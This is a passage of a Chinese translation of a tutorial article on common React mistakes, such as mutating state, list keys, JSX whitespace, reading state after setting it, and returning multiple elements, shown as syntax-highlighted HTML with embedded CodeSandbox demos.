</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">items</span><span class="p">,</span> <span class="nx">setItems</span><span class="p">]</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useState</span><span class="p">([]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span><span class="nx">items</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">ShoppingList</span> <span class="na">items</span><span class="o">=</span><span class="p">{</span><span class="nx">items</span><span class="p">}</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">)}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>或者使用三元运算符：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">App</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">items</span><span class="p">,</span> <span class="nx">setItems</span><span class="p">]</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useState</span><span class="p">([]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span><span class="nx">items</span><span class="p">.</span><span class="nx">length</span>
</span></span><span class="line"><span class="cl">        <span class="o">?</span> <span class="p">&lt;</span><span class="nt">ShoppingList</span> <span class="na">items</span><span class="o">=</span><span class="p">{</span><span class="nx">items</span><span class="p">}</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="o">:</span> <span class="kc">null</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h1 id="mutating-state">Mutating state</h1>
<p>假设现在要向购物车中添加新项目：</p>


<iframe src="https://codesandbox.io/embed/sandpack-project-7jxu1f?fontsize=14&hidenavigation=1&module=%2FApp.js&theme=dark"
     style="width:100%; height:500px; border:0; border-radius: 4px; overflow:hidden;"
     title="sandpack-project"
     allow="accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr; xr-spatial-tracking"
     sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"
   ></iframe>


<p>每当用户提交新项目的时候，都会调用 <code>handleAddItem</code> 函数：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">handleAddItem</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">items</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setItems</span><span class="p">(</span><span class="nx">items</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>但是这个函数不起作用，新的项目不会被添加到购物清单中，因为这违反了 React 中最神圣的规则：我们正在改变 state。</p>
<p>重点就是 <code>items.push(value)</code> 这一行，React 依赖于状态变量的 <strong>identity</strong> 来判断状态是否发生了变化。当我们向数组中 push 新的元素时，并没有改变该数组的 <strong>identity</strong>，因此 React 无法知道该值已经发生了变化。（译者注：可以理解为，当你向数组中添加了一个新元素之后，数组还是原来的那个数组，并没有生成一个新的数组，因此 React 无法判断该值已经发生了更改）</p>
<p>因此，如果要修复这个问题，我们需要创建一个全新的数组，就像这样：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">handleAddItem</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">nextItems</span> <span class="o">=</span> <span class="p">[...</span><span class="nx">items</span><span class="p">,</span> <span class="nx">value</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setItems</span><span class="p">(</span><span class="nx">nextItems</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>不修改现有数组，而是重新创建了一个新数组，它包含所有原数组的元素和新的元素（使用 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax"><code>...</code></a> 展开语法实现）。</p>
<p>这里的区别是编辑现有项与创建新项之间的区别。当我们将一个值传递给像 <code>setCount</code> 这样的状态设置函数时，它必须是一个新实体。</p>
<p>除了数组，对象也遵循同样的规律：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="c1">// ❌ 修改一个现有的对象
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">handleChangeEmail</span><span class="p">(</span><span class="nx">nextEmail</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">user</span><span class="p">.</span><span class="nx">email</span> <span class="o">=</span> <span class="nx">nextEmail</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setUser</span><span class="p">(</span><span class="nx">user</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// ✅ 创建一个新对象
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">handleChangeEmail</span><span class="p">(</span><span class="nx">email</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">nextUser</span> <span class="o">=</span> <span class="p">{</span> <span class="p">...</span><span class="nx">user</span><span class="p">,</span> <span class="nx">email</span><span class="o">:</span> <span class="nx">nextEmail</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setUser</span><span class="p">(</span><span class="nx">nextUser</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h1 id="not-generating-keys">Not generating keys</h1>
<p>你以前可能见过这样的警告：</p>
<pre tabindex="0"><code>Warning: Each child in a list should have a unique &#34;key&#34; prop.
</code></pre><p>例如这就是一个例子：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">React</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ShoppingList</span><span class="p">({</span> <span class="nx">items</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span><span class="nx">items</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">item</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;{</span><span class="nx">item</span><span class="p">}&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="p">})}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="nx">ShoppingList</span><span class="p">;</span>
</span></span></code></pre></div><p>这将导致以下错误：</p>
<pre tabindex="0"><code>Warning: Each child in a list should have a unique &#34;key&#34; prop.
Check the render method of `ShoppingList`. See https://reactjs.org/link/warning-keys for more information.
    at li
    at ShoppingList (https://sandpack-bundler.vercel.app/ShoppingList.js:17:3)
    at div
    at App (https://sandpack-bundler.vercel.app/App.js:26:42)
</code></pre><p>当我们渲染一个元素数组时，我们需要为 React 提供一些额外的上下文，以便它可以识别每个独立的元素。重要的是，这需要是一个唯一的标识符。</p>
<p>很多网上的文章都会建议使用数组索引来解决这个问题：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ShoppingList</span><span class="p">({</span> <span class="nx">items</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span><span class="nx">items</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">item</span><span class="p">,</span> <span class="nx">index</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;</span><span class="nt">li</span> <span class="na">key</span><span class="o">=</span><span class="p">{</span><span class="nx">index</span><span class="p">}&gt;{</span><span class="nx">item</span><span class="p">}&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="p">})}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>我不认为这是个好建议。这种方法有时会奏效，但在其他情况下可能会导致一些相当大的问题。</p>
<p>（译者注：作者这里没有详细说明会导致什么问题，其实在 React 官方的 docs 中有提到过这个问题：</p>
<blockquote>
<p>We don’t recommend using indexes for keys if the order of items may change. This can negatively impact performance and may cause issues with component state. Check out Robin Pokorny’s article for an <a href="https://robinpokorny.com/blog/index-as-a-key-is-an-anti-pattern/">in-depth explanation on the negative impacts of using an index as a key</a>. If you choose not to assign an explicit key to list items then React will default to using indexes as keys.</p></blockquote>
<p>其中 Robin Pokorny 的那篇文章就有一个导致问题的例子）</p>
<p>因此，作者推荐在新的元素被添加到列表时，为其生成一个唯一的 ID：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">handleAddItem</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">nextItem</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">id</span><span class="o">:</span> <span class="nx">crypto</span><span class="p">.</span><span class="nx">randomUUID</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">    <span class="nx">label</span><span class="o">:</span> <span class="nx">value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">nextItems</span> <span class="o">=</span> <span class="p">[...</span><span class="nx">items</span><span class="p">,</span> <span class="nx">nextItem</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setItems</span><span class="p">(</span><span class="nx">nextItems</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>crypto.randomUUID</code> 是浏览器内置的方法，在主流浏览器中都可以使用，这个方法会生成一个类似于 <code>d9bb3c4c-0459-48b9-a94c-7ca3963f7bd0</code> 的唯一字符串。</p>
<p>但是，千万不要在更新状态时生成 ID，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">li</span> <span class="na">key</span><span class="o">=</span><span class="p">{</span><span class="nx">crypto</span><span class="p">.</span><span class="nx">randomUUID</span><span class="p">()}&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span><span class="nx">item</span><span class="p">.</span><span class="nx">label</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>这会导致每次渲染时，Key 都发生变化，Key 的变化会导致 React 销毁并重新创建这些元素，会对性能产生很大的负面影响。</p>
<p>例如从服务器获取数据时，可以通过以下方式为数据创建唯一的 ID：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">[</span><span class="nx">data</span><span class="p">,</span> <span class="nx">setData</span><span class="p">]</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useState</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">retrieveData</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s1">&#39;/api/data&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">json</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 这时候我们已经拿到了数据，接下来为每个元素生成一个 ID：
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">dataWithId</span> <span class="o">=</span> <span class="nx">json</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">item</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="p">...</span><span class="nx">item</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nx">id</span><span class="o">:</span> <span class="nx">crypto</span><span class="p">.</span><span class="nx">randomUUID</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">  <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 然后我们将 state 更新为带有 ID 的数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">setData</span><span class="p">(</span><span class="nx">dataWithId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h1 id="missing-whitespace">Missing whitespace</h1>
<p>有以下代码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">React</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">App</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="nx">Welcome</span> <span class="nx">to</span> <span class="nx">Corpitech</span><span class="p">.</span><span class="nx">com</span><span class="o">!</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;/login&#34;</span><span class="p">&gt;</span><span class="nx">Log</span> <span class="k">in</span> <span class="nx">to</span> <span class="k">continue</span><span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="nx">App</span><span class="p">;</span>
</span></span></code></pre></div><p>代码的运行结果：</p>


<iframe src="https://codesandbox.io/embed/sandpack-project-62k595?fontsize=14&hidenavigation=1&module=%2FApp.js&theme=dark"
     style="width:100%; height:500px; border:0; border-radius: 4px; overflow:hidden;"
     title="sandpack-project"
     allow="accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr; xr-spatial-tracking"
     sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"
   ></iframe>


<p>这两个句子显示在了同一行，这是因为 JSX 编译器无法真正区分是语法上的空格还是我们为了缩进或代码可读性而添加的空格。</p>
<p>因此，我们需要在文本和 <code>a</code> 标签之间添加一个明确的空格符号：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">Welcome</span> <span class="nx">to</span> <span class="nx">Corpitech</span><span class="p">.</span><span class="nx">com</span><span class="o">!</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span><span class="s1">&#39; &#39;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;/login&#34;</span><span class="p">&gt;</span><span class="nx">Log</span> <span class="k">in</span> <span class="nx">to</span> <span class="k">continue</span><span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>一个小提示：如果你使用 Prettier，它会自动为你添加这些空格字符！只需确保让它进行格式化（不要预先将内容拆分为多行）。</p>
<h1 id="accessing-state-after-changing-it">Accessing state after changing it</h1>
<p>有一个最小的计数器应用：</p>


<iframe src="https://codesandbox.io/embed/sandpack-project-j1o8o9?expanddevtools=1&fontsize=14&hidenavigation=1&module=%2FApp.js&theme=dark"
     style="width:100%; height:500px; border:0; border-radius: 4px; overflow:hidden;"
     title="sandpack-project"
     allow="accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr; xr-spatial-tracking"
     sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"
   ></iframe>


<p>在点击按钮之后，我们将递增的 <code>count</code> 变量输出到 console，但奇怪的是，记录的值是错误的。
问题在于：React 中的状态设置函数（例如 <code>setCount</code>）是异步的。</p>
<p>这是有问题的代码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">handleClick</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">({</span> <span class="nx">count</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>很容易错误地认为 <code>setCount</code> 的功能类似于赋值，就好像它等同于：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">count</span> <span class="o">=</span> <span class="nx">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">({</span> <span class="nx">count</span> <span class="p">});</span>
</span></span></code></pre></div><p>但在 React 中，当调用 <code>setCount</code> 时，我们并没有重新分配变量，只是安排了更新。</p>
<p>我们可能需要一些时间才能完全理解这个想法，但是这里有一些能帮助你理解的东西：我们无法重新分配 <code>count</code> 变量，因为它是一个常量！</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="c1">// 使用的是 `const` 而不是 `let`，因此不能重新分配
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">count</span> <span class="o">=</span> <span class="nx">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// Uncaught TypeError:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>                   <span class="c1">// Assignment to constant variable
</span></span></span></code></pre></div><p>那么如何解决这个问题？因为我们已经知道了这个值应该是多少，我们可以将其赋值给一个变量，并访问这个新变量：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">handleClick</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">nextCount</span> <span class="o">=</span> <span class="nx">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setCount</span><span class="p">(</span><span class="nx">nextCount</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 想引用新的值时，可以使用 `nextCount`
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">({</span> <span class="nx">nextCount</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>我喜欢使用 &ldquo;next&rdquo; 前缀来声明这类变量，例如 <code>nextCount</code>、<code>nextItems</code>、<code>nextEmail</code> 等，这让我更清楚我们不是在更新现有的值，而是在安排下一个值。</p>
<h1 id="returning-multiple-elements">Returning multiple elements</h1>
<p>有时，一个组件需要返回多个顶级元素。</p>
<p>例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">LabeledInput</span><span class="p">({</span> <span class="nx">id</span><span class="p">,</span> <span class="nx">label</span><span class="p">,</span> <span class="p">...</span><span class="nx">delegated</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">label</span> <span class="na">htmlFor</span><span class="o">=</span><span class="p">{</span><span class="nx">id</span><span class="p">}&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span><span class="nx">label</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">label</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">input</span>
</span></span><span class="line"><span class="cl">      <span class="na">id</span><span class="o">=</span><span class="p">{</span><span class="nx">id</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span><span class="na">...delegated</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="nx">LabeledInput</span><span class="p">;</span>
</span></span></code></pre></div><p>上面代码将得到以下报错：</p>
<pre tabindex="0"><code>/LabeledInput.js: Adjacent JSX elements must be wrapped in an enclosing tag. Did you want a JSX fragment &lt;&gt;...&lt;/&gt;? (6:4)
  4 |       {label}
  5 |     &lt;/label&gt;
&gt; 6 |     &lt;input
    |     ^
  7 |       id={id}
  8 |       {...delegated}
  9 |     /&gt;
</code></pre><p>这是因为 JSX 编译为普通的 JavaScript，上面的代码将会被编译为：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">LabeledInput</span><span class="p">({</span> <span class="nx">id</span><span class="p">,</span> <span class="nx">label</span><span class="p">,</span> <span class="p">...</span><span class="nx">delegated</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="nx">React</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">&#39;label&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">htmlFor</span><span class="o">:</span> <span class="nx">id</span> <span class="p">},</span> <span class="nx">label</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nx">React</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">id</span><span class="o">:</span> <span class="nx">id</span><span class="p">,</span> <span class="p">...</span><span class="nx">delegated</span> <span class="p">})</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>在 JavaScript 中，不允许像这样返回多个返回值，这就跟以下函数相同：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">addTwoNumbers</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;the answer is&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">a</span> <span class="o">+</span> <span class="nx">b</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>那么如何解决这个问题呢？</p>
<p>在很长的一段时间里，标准的做法是将两个元素包装在一个 wrapper 标签中，例如 <code>&lt;div&gt;</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">LabeledInput</span><span class="p">({</span> <span class="nx">id</span><span class="p">,</span> <span class="nx">label</span><span class="p">,</span> <span class="p">...</span><span class="nx">delegated</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">label</span> <span class="na">htmlFor</span><span class="o">=</span><span class="p">{</span><span class="nx">id</span><span class="p">}&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span><span class="nx">label</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;/</span><span class="nt">label</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">input</span>
</span></span><span class="line"><span class="cl">        <span class="na">id</span><span class="o">=</span><span class="p">{</span><span class="nx">id</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span><span class="na">...delegated</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>我们可以使用 fragments 来让这个解决方案变得更好：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">LabeledInput</span><span class="p">({</span> <span class="nx">id</span><span class="p">,</span> <span class="nx">label</span><span class="p">,</span> <span class="p">...</span><span class="nx">delegated</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
